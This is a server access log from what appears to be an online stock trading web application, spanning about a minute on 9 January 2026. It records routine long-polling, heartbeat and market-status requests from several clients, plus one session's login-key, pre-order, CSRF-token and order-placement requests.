[09/Jan/2026:11:37:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930106959 HTTP/1.1" -
[09/Jan/2026:11:37:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:37:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:37:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:37:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930110093 HTTP/1.1" -
[09/Jan/2026:11:37:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930111787 HTTP/1.1" -
[09/Jan/2026:11:37:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930112104 HTTP/1.1" -
[09/Jan/2026:11:37:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:37:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930116824 HTTP/1.1" -
[09/Jan/2026:11:37:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930115132 HTTP/1.1" -
[09/Jan/2026:11:37:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930117150 HTTP/1.1" -
[09/Jan/2026:11:37:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930121861 HTTP/1.1" -
[09/Jan/2026:11:37:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930120185 HTTP/1.1" -
[09/Jan/2026:11:37:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930122282 HTTP/1.1" -
[09/Jan/2026:11:37:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930126875 HTTP/1.1" -
[09/Jan/2026:11:37:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930125288 HTTP/1.1" -
[09/Jan/2026:11:37:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930127424 HTTP/1.1" -
[09/Jan/2026:11:37:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930131943 HTTP/1.1" -
[09/Jan/2026:11:37:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930130359 HTTP/1.1" -
[09/Jan/2026:11:37:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930132585 HTTP/1.1" -
[09/Jan/2026:11:37:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:37:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:37:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930136983 HTTP/1.1" -
[09/Jan/2026:11:37:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930135420 HTTP/1.1" -
[09/Jan/2026:11:37:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930137711 HTTP/1.1" -
[09/Jan/2026:11:37:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:37:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:37:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:37:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930142008 HTTP/1.1" -
[09/Jan/2026:11:37:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930140499 HTTP/1.1" -
[09/Jan/2026:11:37:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:11:37:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:37:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930142845 HTTP/1.1" -
[09/Jan/2026:11:37:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 11
[09/Jan/2026:11:37:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:11:37:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1212
[09/Jan/2026:11:37:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:37:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930147060 HTTP/1.1" -
[09/Jan/2026:11:37:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930145598 HTTP/1.1" -
[09/Jan/2026:11:37:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:11:37:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930147951 HTTP/1.1" -
[09/Jan/2026:11:37:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:11:37:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=A2986AF0421D3F729B6F0E3E23FCFBED HTTP/1.1" 1018
[09/Jan/2026:11:37:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:11:37:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:37:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:37:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:38:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:38:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:38:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1364
[09/Jan/2026:11:38:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930152086 HTTP/1.1" -
[09/Jan/2026:11:38:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930150625 HTTP/1.1" -
[09/Jan/2026:11:38:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930153129 HTTP/1.1" -
[09/Jan/2026:11:38:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930157147 HTTP/1.1" -
[09/Jan/2026:11:38:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930155692 HTTP/1.1" -
[09/Jan/2026:11:38:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930158216 HTTP/1.1" -
[09/Jan/2026:11:38:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930162186 HTTP/1.1" -
[09/Jan/2026:11:38:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930160745 HTTP/1.1" -
[09/Jan/2026:11:38:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930163391 HTTP/1.1" -
[09/Jan/2026:11:38:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:38:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:38:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:38:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:38:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930167212 HTTP/1.1" -
[09/Jan/2026:11:38:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930165818 HTTP/1.1" -
[09/Jan/2026:11:38:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930168542 HTTP/1.1" -
[09/Jan/2026:11:38:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:38:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:38:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:38:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:38:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930172235 HTTP/1.1" -
[09/Jan/2026:11:38:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930170876 HTTP/1.1" -
[09/Jan/2026:11:38:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:38:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:38:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930173703 HTTP/1.1" -
[09/Jan/2026:11:38:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930177288 HTTP/1.1" -
[09/Jan/2026:11:38:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930175916 HTTP/1.1" -
[09/Jan/2026:11:38:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:38:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:38:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930178770 HTTP/1.1" -
[09/Jan/2026:11:38:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930182330 HTTP/1.1" -
[09/Jan/2026:11:38:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930180950 HTTP/1.1" -
[09/Jan/2026:11:38:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930183827 HTTP/1.1" -
[09/Jan/2026:11:38:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930187390 HTTP/1.1" -
[09/Jan/2026:11:38:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930186013 HTTP/1.1" -
